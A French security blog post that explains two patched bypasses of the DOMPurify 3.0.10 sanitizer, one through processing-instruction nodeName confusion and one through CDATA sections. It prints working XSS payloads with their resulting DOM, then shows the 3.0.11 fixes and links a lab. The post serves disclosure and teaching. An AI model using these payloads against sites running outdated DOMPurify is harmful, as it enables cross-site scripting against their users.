Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Confusion nodeName
  • Character data (CDATA)
  • Corrections
  • Labs
  1. Mes Articles
  2. 2024
  3. Mai

Dompurify 3.0.10 bypass - Confusion nodeName and CDATA

22 mai 2024

PrécédentMaiSuivantDompurify 3.0.9 bypass - Node type confusion

Dernière mise à jour il y a 2 mois

Cet article se base sur les recherches de ().

Confusion nodeName

Il est recommandé de consulter l'article précédent intitulé Dompurify 3.0.9 bypass - Node type confusion, avant de poursuivre la lecture.

La version 3.0.9 de Dompurify présente une vulnérabilité de contournement lorsqu'un contenu XML utilisant l'interface ProcessingInstruction est utilisé dans une page HTML. La version 3.0.10 corrige ce problème en ajoutant le masque SHOW_PROCESSING_INSTRUCTION lors du traitement des nœuds XML, permettant ainsi leur prise en compte.

Pour rappel, le format d'une telle instruction est le suivant :

<?target data?>

Et l'exploitation de la vulnérabilité peut s'effectuer de cette manière :

<?xml-stylesheet ><img src=x onerror=alert(1)>?>

Puisque la version 3.0.9 de Dompurify n'analyse pas les instructions de traitement (processing instructions), et que l'interface le permet, l'utilisateur peut librement définir la cible (target) :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<?whatever ><img src=x onerror=alert(1)>?>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'});

Provoquant l'affichage de la boîte de dialogue :

<div id="userContent">
  <!--?whatever -->
  <img src="x" onerror="alert(1)">
  "?>"
</div>

Grâce au correctif, la version 3.0.10 de Dompurify analyse dorénavent les noeuds de type ProcessingInstruction.

Lorsque Dompurify analyse une balise, la bibliothèque d'assainissement récupère tout d'abord le nom de la balise à analyser en accédant à la propriété nodeName :

/* Now let's check the element's type and name */
const tagName = transformCaseFunc(currentNode.nodeName);

Puis vérifie que la balise rencontrée soit autorisée :

if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
}

Par défaut, les balises autorisées sont les suivantes :

const html$1 = freeze(['a', 'abbr', 'acronym', 'address', 'area', 'article', 'aside', 'audio', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'content', 'data', 'datalist', 'dd', 'decorator', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'img', 'input', 'ins', 'kbd', 'label', 'legend', 'li', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meter', 'nav', 'nobr', 'ol', 'optgroup', 'option', 'output', 'p', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'select', 'shadow', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'wbr']);

Pour un noeud de type ProcessingInstructions, la propriété nodeName retourne la valeur de la cible (target). Ainsi, pour contourner l'assainissement effectué par Dompurify en version 3.0.10, il suffit de renseigner une cible (target) présente dans la liste de balises autorisées, par exemple <abbr> (ou <img> comme l'a fait l'auteur de l'article originel) :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<?abbr ><img src=x onerror=alert(1)>?>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'});
<div id="userContent">
  <!--?abbr -->
  <img src="x" onerror="alert(1)">
  "?>"
</div>

Character data (CDATA)

CDATA est une section dans un document XML où les données sont traitées comme du texte brut, ce qui signifie que les balises et les entités spéciales à l'intérieur de cette section ne sont pas interprétées comme du code XML mais comme du texte. Cela permet d'inclure des caractères qui pourraient autrement être interprétés comme des balises ou des entités XML.

Une section CDATA commence par <![CDATA[ et se termine par ]]>. Voici un exemple :

<![CDATA[Ceci est du texte.]]>

Le contournement de la version 3.0.9 était dû à l'absence de filtre pour prendre en compte l'interface ProcessingInstruction. Il en va de même pour les sections CDATA :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<![CDATA[ ><img src=x onerror=alert(1) ]]>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'});
<div id="userContent">
  <!--[CDATA[ -->
  <img src="x" onerror="alert(1)" ]]>
</div>

A noter que la variante suivante semble fonctionner également :

let userContent= document.getElementById('userContent');
userContent.innerHTML = DOMPurify.sanitize("<![CDATA[ ><img src=x onerror=alert(1)>", {PARSER_MEDIA_TYPE: 'application/xhtml+xml'});
<div id="userContent">
  <!--[CDATA[ -->
  <img src="x" onerror="alert(1)">
  "]]>"
</div>

Corrections

Concernant l'interface ProcessingInstruction, Dompurify 3.0.11 a décidé de supprimer toutes les occurrences d'instructions de traitement :

/* Remove any ocurrence of processing instructions */
if (currentNode.nodeType === 7) {
  _forceRemove(currentNode);
  return true;
}

Pour les sections CDATA, l'ajout du filtre NodeFilter.SHOW_CDATA_SECTION permet de détecter correctement leur utilisation. Étant donné que la valeur de la propriété nodeName d'une telle section est #cdata-section, qui n'est pas une balise autorisée par défaut, le contournement n'est plus possible.

const _createNodeIterator = function _createNodeIterator(root) {
  return createNodeIterator.call(root.ownerDocument || root, root,
  // eslint-disable-next-line no-bitwise
  NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_TEXT | NodeFilter.SHOW_PROCESSING_INSTRUCTION | NodeFilter.SHOW_CDATA_SECTION, null);
};

Labs

Afin de tester et d'exploiter ce contournement, une image Docker est disponible .

RyotaK
https://flatt.tech/research/posts/bypassing-dompurify-with-good-old-xml/
ici